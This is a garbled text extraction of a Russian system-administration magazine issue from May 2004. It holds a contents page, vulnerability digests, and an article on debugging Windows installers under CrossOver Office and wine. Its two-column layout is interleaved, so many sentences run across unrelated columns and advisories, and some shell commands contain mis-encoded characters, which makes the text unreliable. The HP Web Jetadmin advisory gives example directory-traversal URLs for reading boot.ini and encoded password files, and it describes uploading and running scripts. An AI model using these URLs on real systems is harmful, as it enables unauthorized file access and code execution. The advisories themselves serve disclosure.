Вы находитесь на странице: 1из 98

№5(18) май 2004

подписной индекс 81655

Использование rrdtool
для мониторинга сети
MRTG + snort
Зеркалирование информации
Знакомство с Open WebMail
Postfix как шлюз для Exchange
Role Based Access Control в Solaris 9
IPFilter с самого начала
Централизованное обнаружение
вторжения с Samhain
Побег через брандмауэр
Утечки памяти в программах на Perl
№5(18) май 2004

Управление сетевой печатью


в Windows 2000
оглавление

АДМИНИСТРИРОВАНИЕ БЕЗОПАСНОСТЬ

Запуск Windows-приложений под Linux Централизованное обнаружение


с помощью CrossOver Office вторжения с Samhain
Часть 3
Сергей Яремчук
Андрей Бешков grinder@ua.fm 50
tigrisha@sysadmins.ru 6
Что ждет персональные компьютеры
Использование rrdtool завтра?
для мониторинга сети
Максим Костышин
Всеволод Стахов Maxim_kostyshin@mail.ru 62
cebka@jet.msk.su 16
Побег через брандмауэр плюс
MRTG + snort терминализация всей NT
Павел Закляков Крис Касперски
amdk7@mail.ru 22 kk@sendmail.ru 66

INSERT – Inside Security Rescue Toolkit ПРОГРАММИРОВАНИЕ


Сергей Яремчук
grinder@ua.fm 26 Утечки памяти в программах на Perl
Алексей Мичурин
Зеркалирование информации alexey@office-a.mtu-net.ru 78
Александр Байрак
x01mer@pisem.net 28 Java: встраиваем сервер Telnet
Александр Фефелов
Знакомство с Open WebMail fefelov@zvenigorod.ru 82
Андрей Маркелов
andrew@markelov.net 30 ОБРАЗОВАНИЕ

Postfix как шлюз для Exchange Управление сетевой печатью


в Windows 2000
Игорь Полянский Часть 1
ipoliansky@mail.ru 34
Иван Коробко
ikorobko@prosv.ru 88
IPFilter с самого начала
Татьяна Ильченко
ti@sysadmins.ru 38 BUGTRAQ 4, 15, 61, 94

Role Based Access Control (RBAC) в Solaris 9


Дмитрий Селезнев
macduck@podolsk.ru 44

№5(18), май 2004 1


bugtraq

Множественные уязвимости Несколько уязвимостей в HP Web Jetadmin


в IA WebMail Server Программа: HP Web Jetadmin 7.5.2546.
Программа: IA WebMail Server 3.1. Опасность: Высокая.
Опасность: Критическая. Описание: Уязвимость обнаружена в HP Web Jetadmin.
Описание: Несколько уязвимостей обнаружено в IA WebMail Удаленный авторизованный пользователь может читать
Server. Злонамеренный пользователь может вызвать отказ и записывать файлы на системе и выполнять код сцена-
в обслуживании, выполнить XSS-нападение, подделать от- рия на целевой системе.
правителя или скомпрометировать уязвимую систему. Удаленный авторизованный пользователь может подклю-
1. Переполнение буфера обнаружено в обработке имени читься к веб-службе и загрузить произвольные файлы в оп-
пользователя. В результате удаленный пользователь ределенные местоположения и просматривать файлы в лю-
может представить специально обработанное имя бом местоположении с SYSTEM-привилегиями. HTS-сцена-
пользователя (около 980 байт), чтобы вызвать пере- рий /plugins/hpjwja/script/devices_update_printer_fw_upload.hts
полнение буфера и выполнить произвольный код на может использоваться для загрузки файлов в каталог
уязвимой системе. /plugins/hpjwja/firmware/printer/, используя следующий URL:
2. Удаленный пользователь может представить специаль- https://victim:8443/plugins/hpjwja/firmware /printer/<filename>
но обработанный некорректный запрос к «view» и
«edit_contact» разделам, чтобы аварийно завершить Также сообщается, что удаленный пользователь мо-
работу WebMail-процесса. жет вызвать setinfo.hts и читать файлы, определяя имя
3. Межсайтовый скриптинг обнаружен в параметрах the файла в переменной setinclude, используя символы обхо-
«msgid», «NumMesg» и «contact_name» в разделах «view» да каталога. Пример:
и «edit_contact». https://victim:8443/plugins/hpjdwm/script/test/setinfo.hts?s ↵
4. Злонамеренный пользователь может выступить в каче- etinclude=../../../../../../../boot.ini
стве другого пользователя, посылая e-mail сообщение, Например, уязвимость может использоваться для про-
манипулируя параметром «from» в разделе «send». смотра кодированных паролей:
https://victim:8443/plugins/hpjdwm/script/test/setinfo.hts? ↵
URL производителя: http://www.tnsoft.com. setinclude=../../../hpjwja/firmware/printer/test.inc
Решение: Способов устранения обнаруженной уязвимо- Загружая произвольный HTS-сценарий и затем исполь-
сти не существует в настоящее время. Используйте аль- зуя setinfo.hts, чтобы включить загруженный файл, удален-
тернативное программное обеспечение. ный авторизованный пользователь может выполнить про-
извольный HTS-код сценария на целевой системе. Пример:
Переполнение буфера в ModSecurity https://victim:8443/plugins/hpjdwm/script/test/setinfo.hts? ↵
для Apache 2.x setinclude=../../../../../auth/local.users
Программа: ModSecurity 1.7.4 для Apache 2.x/ Этот метод может использоваться для выполнения
Опасность: Критическая. произвольных сценариев на системе и, например, создать
Описание: Переполнение буфера обнаружено в Mod- файлы в папке запуска администратора.
Security для Apache 2.x. Удаленный атакующий может Удаленный авторизованный пользователь может загру-
выполнить произвольный код на уязвимом сервере. зить специально сформированный сценарий и затем вы-
«off-by-one»-переполнение обнаружено в ModSecurity полнить его, чтобы аварийно завершить работу hpwebjetd-
для Apache 2.x при включенной директиве проверки вхо- процесса.
дящих POST-запросов «SecFilterScanPost». Уязвимость URL производителя: http://h10010.www1.hp.com/wwpc-JAVA/
позволяет удаленному атакующему выполнить произволь- offweb/vac/us/en/en/network_software/wja_overview.html.
ный код на целевом веб-сервере. Решение: Способов устранения обнаруженной уязвимо-
URL производителя: http://www.modsecurity.org. сти не существует в настоящее время.
Решение: Установите обновленную версию модуля (1.7.5).
Уязвимость форматной строки в ssmtp
Удаленное переполнение буфера Программа: sSMTP до версии 2.50.6.1.
в Kerio MailServer Опасность: критическая.
Программа: Kerio MailServer до версии 5.7.7. Описание: Две уязвимости форматной строки обнаруже-
Опасность: Высокая. ны в ssmtp. Удаленный почтовый ретранслятор может вы-
Описание: Переполнение буфера обнаружено в Kerio полнить произвольный код с привилегиями ssmtp-процесса.
MailServer. Воздействие уязвимости не раскрывается. Уязвимость форматной строки обнаружена в функци-
Переполнение буфера обнаружено в спам-фильтре по- ях die() и log_event(). Удаленный пользователь (как почто-
чтового сервера. Дополнительные подробности не раскры- вый ретранслятор) может представить специально обра-
ваются. ботанное значение, чтобы выполнить произвольный код
URL производителя: http://www.kerio.com/kms_home.html. на целевой системе.
Решение: Установите обновленную версию программы Решение: Решение существует только для Debian Linux.
(5.7.7): http://www.kerio.com/kms_download.html.
Составил Александр Антипов

4
администрирование

ЗАПУСК WINDOWS-ПРИЛОЖЕНИЙ ПОД LINUX


C ПОМОЩЬЮ CROSSOVER OFFICE
ЧАСТЬ 3
С момента выхода в свет первых двух статей о CrossOver Office прошло не так уж и много времени,
и я надеюсь, вы еще не забыли, что мы изучали способы, пользуясь которыми можно довольно
просто и удобно работать с Windows-программами под управлением Linux. Если же по каким-либо
причинам вы не читали вышеупомянутых статей, то это досадное неудобство можно легко исправить,
либо найдя старые номера нашего журнала, либо посетив сайт http://onix.opennet.ru. Ну а нас ждет
новая экскурсия в увлекательный мир эмуляции.

АНДРЕЙ БЕШКОВ
6
администрирование
Надеюсь, что третьей статьей мне наконец-то удастся за-
вершить повествование и охватить все вопросы, прислан-
ные читателями в ответ на предыдущие публикации по
этой теме. Как и обещал, сегодня мы займемся изучени-
ем способов поиска неисправностей и скользких момен-
тов, скрытых в Windows-программах и не позволяющих Обнаружение данного неприятного факта не оставляет
успешно работать со столь необходимыми нам приложе- нас равнодушными. Поддержка скриптов InstallShield еще
ниями внутри эмулятора. В дальнейшем я предполагаю, не очень хорошо реализована в эмуляторе, поэтому нам
что вы умеете самостоятельно установить и произвести придется многие действия выполнять вручную и весьма ча-
начальную настройку CrossOver Office. Как обычно, гото- сто прибегать к помощи шаманского бубна. Впрочем, нас
вясь к любым экспериментам внутри эмулятора, лучше это ни в коей мере не огорчает, потому что пользователи
всего сделать резервную копию директории /cxoffice, в UNIX – люди к трудностям привычные. Так, шаг за шагом
которой находится наш урезанный вариант Windows. В мы доходим до момента, когда приходится выбрать, куда
случае если что-то пойдет не так, как мы ожидаем, у нас именно нужно устанавливать программное обеспечение.
всегда будет возможность восстановить рабочую среду
простым копированием ее из архива.
В качестве первого подопытного кролика была выбра-
на программа Ulead Smart Saver Pro 3.0. Она привлекла
мое внимание тем, что умеет очень хорошо оптимизиро-
вать изображения, и в то же время в ней присутствуют
практически все проблемы, с которыми можно столкнуть-
ся при установке Windows-программ. Довольно часто
файл, в котором хранится изображение, после обработки
этим приложением может похудеть без потери качества
на размер от 20 до 80 процентов первоначального объе-
ма. Несмотря на все увеличивающееся пропускную спо-
собность интернет-каналов, такая оптимизация способна
довольно благотворно повлиять на скорость работы лю-
бого сайта. Скачиваем дистрибутив пробной версии это-
го приложения здесь: http://www.ulead.com/ssp/runme.htm.
Как обычно, с помощью программы officesetup начинаем
новую инсталляцию официально неподдерживаемого про- На следующем шаге должно начаться копирование
граммного обеспечения. Первый же появившийся экран файлов. К сожалению, этого не происходит, и на экране
программы Ulead Smart Saver Pro заставляет нас предпо- появляется следующая ошибка.
ложить что-то неладное: уж очень подозрительно выгля-
дят многочисленные надписи «exclamdown», рассыпавши-
еся вперемешку с фигурными скобками по верхней части
диалогового окна. Судя по всему, какой-то из служебных
скриптов работает неправильно.

Теперь нужно дождаться, пока программа officesetup


не завершит все работающие wine-процессы. Для того что-
бы умело пользоваться возможностями отладки, встро-
енными в wine, нужно изучить немного добавочной тео-
рии. Отладочные сообщения могут принадлежать к лю-
бой из четырех разновидностей, называемых классами.
Принадлежность к тому или иному классу определяется
разработчиками wine в зависимости от того, насколько
критично для нас выводимое сообщение. Давайте разбе-
ремся с каждым из этих пресловутых классов подробнее.
! FIXME – сообщения данного класса сигнализируют о
том, что какое-то действие, запрошенное Windows-при-
ложением, не выполнено. Обычно это случается в свя-
зи с тем, что реализация нужной нам функции еще не
Конечно, это не смертельно, но уже заставляет насто- создана в wine, а вместо нее на данный момент ис-
рожиться. После перехода к следующему шагу инсталля- пользуется пустышка, не выполняющая никаких серь-
ции по надписям в окне, появляющимся в момент выпол- езных действий. Такой тип сообщений служит напоми-
нения промежуточных действий, мы видим, что дистри- нанием разработчикам о необходимости наконец-то за-
бутив упакован с помощью системы InstallShield. кончить разработку того или иного функционала.

№5(18), май 2004 7


администрирование
! ERR – к подобным сообщениям нужно относиться бо-
лее серьезно, ведь они показывают наличие критичес-
ких ошибок во время выполнения кода. А это значит, в
процессе работы случилось что-то очень плохое. Чаще
всего подробные сведения, разъясняющие, что именно
произошло, следуют сразу же за этими сообщениями.
! WARN – предупреждения обычно появляются в тот мо-
мент, когда выполняемая функция еще не совершила
непоправимых ошибок, но уже не может самостоятель-
но стопроцентно правильно выполнять все нужные дей-
ствия. Такие сообщения появляются довольно редко,
потому что обычно более или менее правильно напи-
санная функция не должна впадать в панику из-за ка-
ких-то мелких нестыковок. В случае ошибок образцо-
вая функция должна вернуть родительской функции
код ошибки и предоставить вышестоящим инстанци-
ям право решать, что именно нужно делать.
! TRACE – позволяет предоставить наиболее детализи-
рованные отчеты о ходе выполнения того или иного
кода. Чаще всего полезен во время первоначальной
отладки разработки новых компонентов wine, поэтому
по умолчанию отключен. Думаю, название каждого из них довольно красноре-
! MESSAGE – сообщения, предназначенные для конеч- чиво говорит само за себя. Вдобавок ко всем перечис-
ного пользователя. Так же, как и класс WARN, исполь- ленным есть еще один псевдоканал под названием all, яв-
зуется очень редко из-за своей малой полезности в по- ляющийся ссылкой на все каналы сразу. Выбрав его, мы
вседневной жизни. получим абсолютно все отладочные сообщения, создава-
емые wine. Количество отладочной информации выводи-
Разобравшись с классами сообщений, давайте перей- мой в тот или иной канал, может быть довольно большим,
дем к другому важному понятию. Каждый компонент wine если не сказать огромным, поэтому, пользуясь точным ука-
имеет свой канал для вывода отладочной информации. занием интересующих нас каналов и классов сообщений,
Например, функции, отвечающие за работу с реестром, мы имеем возможность отфильтровать только те фраг-
пишут отладочные сообщения в канал по имени reg, ну а менты данных, которые нам реально необходимы. Давай-
те, кто выполняет действия с файлами, соответственно те разберемся, как это делается. Описание типа нужных
используют отдельный канал, называемый file. Названия нам отладочных сообщений чаще всего выглядит доволь-
остальных доступных нам каналов выглядят так же про- но просто. К примеру, если мы хотим увидеть сообщения
сто и понятно. К примеру, функции, занимающиеся заг- класса WARN для канала, отвечающего за работу с реес-
рузкой dll, выводят свои сообщения в канал loaddll. В об- тром, то должны выполнить следующую команду:
щей сложности нам доступно 233 канала:
$ /opt/cxoffice/bin/wine --debugmsg warn+reg èìÿ ïðîãðàììû

В случае если класс сообщений не указан, wine счита-


ет, что мы хотим читать все классы данного канала. При-
мером, иллюстрирующим такой подход, может стать сле-
дующая команда:

$ /opt/cxoffice/bin/wine --debugmsg +reg èìÿ ïðîãðàììû

Классами сообщения можно управлять не только с


помощью знака «+», но и воспользовавшись его антипо-
дом, знаком «-». Следующая приятная возможность, ко-
торая может весьма облегчить жизнь во время занятий
поиском неисправностей, это то, что каналы сообщений
можно перечислять через запятые. Нижеприведенная ко-
манда покажет все сообщения, относящиеся к загрузке
dll, а из тех, что выводятся при работе с реестром, скроет
все, что подпадает под класс ERR.

$ /opt/cxoffice/bin/wine --debugmsg +loaddll, ↵


err-reg èìÿ ïðîãðàììû

8
администрирование
Итак, разобравшись с теорией, приступим к практи- вновь, но уже без отладки. Дойдя до момента, когда нуж-
ческим действиям. Нам нужно узнать, что же именно ме- но указать, куда устанавливать программу, останавлива-
шает программе установить в систему эту загадочную биб- емся и смотрим, что у нас появилось нового в интересую-
лиотеку OPASmgr.dll. А так как речь идет об ошибке, свя- щей нас директории. Там действительно есть на что по-
занной с файлом, то, видимо, стоит посмотреть, как при- глядеть, особенно обращают на себя внимание папки,
ложение обращается со своими файлами. Для этого по- иерархия которых отображена на следующей картинке.
даем следующую команду:

$ /opt/cxoffice/bin/wine --cx-log logfile.txt ↵


--debugmsg +file ./Ussp30to.exe

Сообщений получается довольно много, поэтому я спе-


циально перенаправил их в файл logfile.txt с помощью клю-
ча командной строки --cx-log. В результате получился файл
отладки размером в полтора мегабайта. Пройдясь по фай-
лу поиском, обнаруживаем в нем следующие записи:

Пройдясь по этим папкам, мы обнаруживаем, что внут-


ри них хранится уже распакованный и готовый к установ-
ке дистрибутив. Копируем его в какое-либо безопасное
место и прерываем ожидающую нашего ответа програм-
му инсталляции. Затем уже запускаем программу
Setup.exe из только что распакованного дистрибутива.
Повторяющиеся записи я отфильтровал, но все равно, Теперь вся установка, освобожденная от оков InstallShield,
судя по суете в районе C:\\WINDOWS\\TEMP\\, скрипт Install проходит на ура, но радоваться пока рано. Попробовав
Shield производит туда распаковку дистрибутива и затем запустить свежеустановленную программу с помощью
запускает оттуда инсталляцию. Идем далее и обнаружи- файла Usspro.exe, получаем от ворот поворот. Приложе-
ваем еще более интересные факты. ние, не открывая ни одного окна и не показывая никаких
ошибок, молчаливо вываливается обратно в консоль. Вот
тут-то нам и пригодятся отладочные каналы loaddll и file.
Проблемы с загрузкой тех или иных библиотек – доволь-
но частая причина, по которой приложения отказываются
работать.

$ /opt/cxoffice/bin/wine --debugmsg +file ./Usspro.exe

Судя по первой строке, программа не может найти


файл динамически загружаемой библиотеки u32Comm.dll,
на которую в свою очередь ссылается UssAbout.dll. При
попытке приложения загрузить динамические библиоте-
ки wine ищет их в следующих местах:
! папка, откуда программа была запущена (где лежит
ее выполняемый файл);
! текущая папка;
! папка C:\Windows\System\;
Судя по всему, инсталлятор не может получить дос- ! папка C:\Windows\;
тупа на запись в собственноручно созданную директо- ! все остальные папки, указанные в переменной окру-
рию C:\\Program Files\\Ulead SmartSaver Pro 3.0\\, а воз- жения PATH.
можно, ему не удается внести нужные данные в файл
C:\\Program Files\\Ulead SmartSaver Pro 3.0\\OPASMgr.dll. В случае если программе нужна какая-либо специ-
Посмотрев на вышеуказанную директорию, понимаем, фическая DLL, поставлявшаяся вместе с Windows, ее
что с правами у нас все вроде бы в порядке. можно перенести вручную либо с компьютера, работаю-
щего под этой операционной системой, либо найти ее в
Весьма настораживает активность внутри директории Интернете. Ну а если с этими двумя вариантами не по-
C:\\Windows\\Temp\\, поэтому запускаем инсталляцию везло, то всегда остается возможность с помощью ути-

№5(18), май 2004 9


администрирование
литы cabextract вытащить необходимые файлы из cab-ар- На приведенной краткой выдержке из протокола явно
хивов, хранящихся на CD-ROM c дистрибутивом Windows. видно, что большинство DLL работает в режиме native, то
Довольно быстро обнаруживаем недостающую библиоте- есть wine не пытается подменять своими собственными
ку в дистрибутиве программы и кладем ее в домашнюю реализациями родные библиотеки. Судя по строкам, ко-
директорию приложения. После этого можно снова попро- торые я выделил красным цветом, у нас происходит кон-
бовать запустить его. фликт версий между библиотеками SHDOCVW.DLL и
SHLWAPI.DLL. Вторая библиотека требует от первой пра-
вильной реализации импортируемой функции AssocIs
Dangerous, но, судя по всему, выполнить эти требования
SHLWAPI.DLL не способна. Для выхода из столь неприят-
ного положения мы можем принудительно указать wine,
что при загрузке SHDOCVW.DLL и SHLWAPI.DLL нужно
использовать не родные версии этих библиотек, а встро-
енные (builtin) в wine. Поэтому нам придется впредь за-
пускать приложение следующей командой:

$ /opt/cxoffice/bin/wine --dll shdocvw,shlwapi=b ./Usspro.exe

По идее, можно было обойтись только подменой


SHDOCVW.DLL, но, к сожалению, это не всегда стабиль-
но работает. Как видите, приложение отлично функцио-
нирует. Убедиться в этом можно, посмотрев на следую-
На этот раз нам повезло чуть больше, появилась зас- щий снимок экрана.
тавка, рассказывающая о том, что программа защище-
на с помощью системы VBOX, и что мы можем пользо-
ваться ею условно бесплатно в течение следующих 15
дней. Наличие той или иной защиты в программе обыч-
но довольно сильно усложняет процесс работы с таким
приложением. К сожалению, приложение все еще не го-
тово к нормальной работе. Нажав на кнопку «Try», полу-
чаем огромный список предупреждений и критическую
ошибку, вызывающую немедленное падение программы.
Снова запускаем наше многострадальное приложение,
только теперь нас интересуют данные из отладочного
канала loaddll.

$ /opt/cxoffice/bin/wine --debugmsg +loaddll ./Usspro.exe

Теперь программу придется запускать указанной выше


командной строкой, что, согласитесь, немного неудоб-
но. Ну а мы, как истинные сибариты, хотим избавить себя
от запоминания и постоянного набора c клавиатуры этих
опций, поэтому открываем конфигурационный файл
$HOME/fake_windows/config и ищем в нем вот такую строч-
ку: # [/wineconf], обозначающую конец главной секции. Най-
дя ее, вставляем в любое приглянувшееся место перед
этой строкой следующее объявление, описывающее не-
обходимое нам переопределение порядка загрузки биб-
лиотек для приложения Usspro.exe.

10
администрирование
[AppDefaults\\Usspro.exe\\DllOverrides] жимое архивов. Думаю, инсталляция этого комплекса ни у
; Ulead Smart Saver Pro 3.0 кого не вызовет затруднений.
"shdocvw" = "builtin"
"shlwapi" = "builtin Пользуясь только что полученными инструментами, мы
сможем записать все действия, которые подопытная про-
После сохранения файла конфигурации можно будет грамма выполняет во время своей установки. А затем
удобнее и спокойнее работать с приложением без стра- повторить их вручную под управлением CrossOver, тем
ха забыть какую-либо опцию или уронить другие програм- самым освобождая себя от необходимости пользоваться
мы, которым для правильного функционирования нужно фирменным инсталлятором. Запустив Regmon, должны
обязательно загружать родные варианты вышеназван- увидеть на экране похожую картинку.
ных DLL.
Закончив бороться с этой программой, мы многому на-
учились, но пока что не время останавливается. Поэтому
сейчас нужно заняться установкой программы Ultra Edit
версии 10.10b, которую можно скачать, перейдя по следу-
ющему адресу: http://www.ultraedit.com/downloads/. Данное
приложение выбрано в качестве объекта эксперимента по
двум причинам. Во-первых, потому, что оно является, с
моей точки зрения, одним из самых удобных редакторов
для разработчика из всех когда-либо встречаемых мной
под Windows. Вторая причина состоит в том, что из-за Как вы могли убедиться, интерфейс приложения прост
очень сложного кода инсталлятора программу тяжело ус- и интуитивно понятен. При каждом обращении любого
тановить и успешно эксплуатировать под управлением процесса к реестру программа записывает время, когда
эмулятора. А нам это как нельзя кстати. Позарез нужны случилось событие, имя процесса, тип действия, ключ
именно такие тяжелые пациенты, потому что, заставив эту реестра, с которым нужно взаимодействовать, код воз-
программу работать, мы сможем изучить несколько но- врата и данные, полученные в результате выполнения дей-
вых продвинутых приемов. Это в свою очередь позволит ствия. Интерфейс утилиты Regmon выглядит точно так же,
существенно повысить успешность наших попыток по пе- единственное отличие в том, что он показывает действия,
реносу Windows-приложений в среду эмуляции. Добавоч- производимые по отношению к файлам.
ный опыт выживания в сложных условиях будет для нас
очень кстати. Пробуем запустить инсталляцию и убежда-
емся в том, что дела идут хуже некуда. Программа, нари-
совав на экране заставку, падает через полсекунды, бук-
вально засыпав экран ворохом ошибок. Опробовав все
приемы, изученные нами в борьбе с предыдущим против-
ником, понимаем, что проблема ни на йоту не сдвинулась
с мертвой точки, а все приобретенные знания ничем не
помогают.
Пришло время бросить в бой танковые дивизии и за-
давить противника техническим преимуществом. Для со-
здания полигона нам понадобится либо отдельный ком- Обычно в системе работает очень много процессов,
пьютер с работающей Windows 98, либо система полной занимающихся своими собственными делами, дабы они
эмуляции с запущенной внутри нее полноценной версией не мешали нам и не мусорили в протокол, мы должны су-
нужной нам операционной системы. В качестве таких эму- зить поле зрения запущенных утилит. Для этого клави-
лирующих контейнеров можно использовать VMWare шей щелкаем на неугодном процессе и в ниспадающем
Workstation, Virtual PC или Win4Lin. Я выбрал VMWare как меню выбираем пункт «Exclude Process». Исключая один
наиболее привычный для меня инструмент, ну а вы може- процесс за другим, мы должны добиться, чтобы протоко-
те использовать любой из вышеперечисленных вариан- лировались только действия процесса, занимающегося
тов, самый подходящий под ваши вкусовые предпочте- инсталляцией. Запустив установку UltraEdit, выбираем,
ния. Главное, чтобы у нас была нормальная рабочая вер- какой тип инсталляции провести.
сия Windows, под управлением которой мы сможем проин-
сталлировать все необходимые инструменты. Первым де-
лом устанавливаем программу Filemon, которая позволяет
протоколировать все обращения к файлам. Затем делаем
то же самое с программой Regmon, помогающей следить
за всеми манипуляциями с реестром. Автор обоих выше-
описанных инструментов Mark Russinovich. Они лежат в сво-
бодном доступе на сайте: http://www.sysinternals.com/win9x/
98utilities.shtml. Установка проста, как три копейки. Создайте
на жестком диске директорию и распакуйте в нее содер-

№5(18), май 2004 11


администрирование
Затем решаем, какие из компонентов нам действитель- Самыми интересными для нас являются строки, в ко-
но необходимы, а от каких можно безболезненно отказать- торых упоминается операция Write, ведь мы хотим узнать,
ся. После того как установка успешно завершится, на воп- какие файлы появились и какие изменились в результате
рос, нужно ли перезагрузить операционную систему, не- установки. Для удобства я пометил пример такой строки
пременно отвечаем «нет». красным цветом. Теперь давайте посмотрим на отрывки
из файла протокола работы с реестром.
Содержимое файла uedit_reg_inst.log:

Как и в предыдущем примере, интересующие нас


строки помечены красным. Надеюсь, вы уже догадались,
что нас интересуют операции CreateKey и SetValueEx, от-
вечающие за создание новых ключей и установку их зна-
чений. Впрочем, просмотрев файл, я пришел к выводу,
что операция SetValueEx, присваивающая ключу значе-
ние, всегда идет сразу же за CreateKey, поэтому можно
облегчить нашу задачу, выбирая данные только по это-
Делаем мы так по двум причинам. Во-первых, данные му признаку. Поразмыслив еще немного, я пришел к
слежения, собранные с помощью Regmon и Filemon, еще выводу, что такое поведение довольно естественно, ведь
не сохранены на жесткий диск. Во-вторых, после перезаг- программе инсталляции нет смысла создавать пустые
рузки состояние системы может сильно измениться, а ключи.
некоторые файлы могут быть удалены. Хотелось бы как В связи с тем, что размер первого файла 1.2 Мб, а вто-
можно точнее имитировать внутри эмулятора всю после- рого 283 Кб, думаю, все понимают, что обрабатывать вруч-
довательность событий, происходящих во время установ- ную их не только затруднительно, но и весьма неприятно.
ки и перезагрузки. Поэтому мы поступим в соответствии с фразой «Никогда
Сохраняем протоколы работы с файловой системой и не доверяй человеку работу, которую может выполнить
ключами реестра в файлы uedit_file_inst.log и uedit_reg_ скрипт». По моему мнению, UNIX является лучшей плат-
inst.log. После этого можно посмотреть, что, собственно, формой для выполнения задачи фильтрации текстовых
в них записалось. Здесь я приведу только краткие выдер- данных. Так происходит потому, что благодаря возможно-
жки, собранные из наиболее характерных записей. сти связывать команды в цепочку с перенаправлением ре-
Содержимое файла uedit_file_inst.log: зультатов работы одной команды на стандартный ввод
другой мы можем без труда создавать довольно сложные
фильтры.
Итак, давайте нарисуем план работы скрипта, филь-
трующего данные о действиях с файлами. Сначала нуж-
но выбрать все строки, в которых тип операции равен
Write, затем отфильтровать только те, где статус выпол-
няемой операции равен SUCCES. После этого вырезать
пятое поле строки, содержащее имя изменяемого фай-
ла. В связи с тем, что во время первоначальной распа-
ковки дистрибутива происходит очень много операций
записи в папку TEMP, нам нужно отбросить все строки,
содержащие такие фрагменты. Делаем мы так потому,
что после инсталляции программа стирает все времен-
ные файлы из папки TEMP, соответственно нам там
тоже нечего делать. Полученный список файлов под-
вергается сортировке с исключением повторяющихся
строк и сохраняется в файл uedit_file_inst_selected.log.
Все вышеописанные действия выполняются следующей
командой:

12
администрирование
$ cat uedit_file_inst.log | grep Write | grep SUCCESS | cut ↵
-f5> | grep -v "TEMP" | sort -u > uedit_file_inst_selected.log
В результате получаем файл размером в 1.4 Кб с вот
таким содержимым:

Складываем в отдельную папку файлы, указанные в Как вы теперь можете убедиться, всю рутинную рабо-
списке. Иерархию директорий, в которой эти файлы из- ту удалось выполнить очень легко. Именно в таких зада-
начально находились, лучше всего воссоздать в нашей чах проявляется скромное очарование UNIX.
временной папке. Так будет проще разложить файлы по Первая строка этого файла слегка сбила меня с толку.
нужным местам в эмуляторе. Впрочем, файлы WIN386.SWP Поискав в реестре, я так и не смог найти разделов и клю-
и все, что связано с рабочим столом и главным меню, мож- чей с именем 0xC2A13710. Но, с другой стороны, такой
но не копировать. раздел должен быть, ведь мы отбирали записи только о
Настало время приступить к выполнению действий над тех операциях с реестром, которые были действительно
файлом, в котором хранится протокол работы с реестром. выполнены и возвратили код SUCCESS. Немного поду-
Процедура фильтрации отличается от предыдущего при- мав, я стал искать с помощью программы regedit подраз-
мера только тем, что мы выбираем строки, в которых делы с именем SavedLegacySettings. Такая цепочка сим-
встречается цепочка символов SetValue. волов встречалась лишь в следующих подразделах:

$ cat uedit_reg_inst.log | grep SUCCESS | grep "SetValue" | ↵


cut -f5 | sort -u > tmp.log

В качестве награды за труды и проявленную сообра- Добавив их в файл вместо символов 0xC2A13710, я
зительность получаем файл tmp.log размером в 2.9 Кб. решил, что можно приступать к экспорту данных из реес-
тра. По идее можно было бы еще сильнее уменьшить этот
файл, сведя все ключи к минимальному общему набору
символов. К примеру, следующие ключи:

могут быть заменены одной строкой:

Подобным же образом можно поступить и с многими


другими записями. При экспортировании любой ветки с
помощью regedit все вложенные в нее значения обязатель-
но будут сохранены в файл.

№5(18), май 2004 13


администрирование
Первая проблема заключается в том, что Regmon за- Самое время проверить результаты нашего долгого
писывает имена ключей в краткой форме, но regedit не труда. Переходим в домашнюю директорию Ultraedit и
понимает такой нотации. Соответственно мы, получив имя пытаемся запустить файл uedit32.exe. Как обычно, при
ключа реестра, должны приводить его к стандартному первом запуске получаем экран с просьбой назначить
виду, заменяя сокращенные названия на полные в соот- расширения, связываемые с UltraEdit.
ветствии со следующей таблицей.

Сделать это можно следующей командой, использую-


щей возможности строкового редактора sed:

$ cat temp.log | sed -e 's/HKCR/HKEY_CLASSES_ROOT/' -e ↵


's/HKCU/HKEY_CURRENT_USER/' -e ↵
's/HKLM/HKEY_LOCAL_MACHINE/' -e 's/HKU/HKEY_USER S/' ↵
-e 's/HKCC/HKEY_CURRENT_CONFIG/' -e ↵
's/HKDD/HKEY_DYN_DATA/' > uedit_reg_inst_selected.log

Переносим полученный файл uedit_reg_inst_selected.log


обратно под Windows 98. Затем с помощью regedit прохо-
дим по веткам, перечисленным в списке, и проводим экс-
портирование каждой из них в файл. Полученные файлы И затем нашему взору предстают и все остальные ра-
переносим на UNIX и соединяем в один с помощью вот бочие окна редактора. Как это выглядит, вы можете уви-
такой простой команды: деть на следующем снимке.

$ echo "REGEDIT4" > final.reg; cat *.reg | grep -v ↵


"REGEDIT4" >> final.reg

Следующая проблема, которая нас поджидает на пути,


состоит в том, что каждый reg-файл обязательно должен
начинаться строкой REGEDIT4. Поэтому, при слиянии всех
файлов в один, наш результирующий файл был букваль-
но напичкан этой надписью. Пришлось удалить все лиш-
ние строки и оставить только самую первую. Закончив с
этим, можно приступить к импортированию полученных
данных в реестр Windows, работающйй под управлением
CrossOver Office.

$ /opt/cxoffice/bin/regedit final.reg Я надеюсь, теперь многие из читателей убедились,


что мы с успехом выполнили то, что в начале пути каза-
Нам нужно вручную воссоздать всю иерархию дирек- лось совершенно неосуществимым, нужно было лишь
торий, находящихся в C:\PROGRAM FILES\ULTRAEDIT\. приложить немного труда и научиться нескольким удач-
После этого можно приступать к раскладыванию бинар- ным приемам. Стоит признать, что методики переноса
ных файлов, собранных нами под Windows 98 по соответ- приложений, описанные в данной статье, не являются сто-
ствующим директориям. Закончив с этим, обязательно процентной панацеей, но все же они помогут вам самосто-
выполняем перезапуск нашей виртуальной Windows сис- ятельно перенести на Linux многие нужные Windows-при-
темы с помощью программы cxreboot. ложения.

14
bugtraq

Несколько переполнений буфера Несколько уязвимостей


в различных анализаторах протоколов в Oracle Application Server Web Cache
в Ethereal Программа: Oracle Application Server 9.0.4.0.0, 9.0.3.1.0,
Программа: Ethereal 0.8.13 – 0.10.2. 9.0.2.3.0, и 9.0.0.4.0.
Опасность: Высокая. Опасность: Высокая.
Описание: Несколько уязвимостей обнаружено в Ethereal. Описание: Несколько уязвимостей обнаружено в Oracle
Удаленный пользователь может выполнить произвольный Application Server Web Cache. Воздействие не раскрыва-
код на целевой системе. ется, но уязвимости присвоен высокий риск.
Уязвимости обнаружены в NetFlow, IGAP, EIGRP, PGM, Несколько уязвимостей обнаружено в Oracle Application
IrDA, BGP, ISUP и TCAP анализаторах протоколов. Уда- Server Web Cache. Природа уязвимости не раскрывается.
ленный пользователь может аварийно завершить работу Уязвимы Sun Solaris, HP/UX, HP Tru64, IBM AIX, Linux и
сервера или выполнить произвольный код. Windows-платформы.
URL производителя: http://www.ethereal.com/appnotes/enpa- URL производителя: http://otn.oracle.com/deploy/security/
sa-00013.html. pdf/2004alert66.pdf.
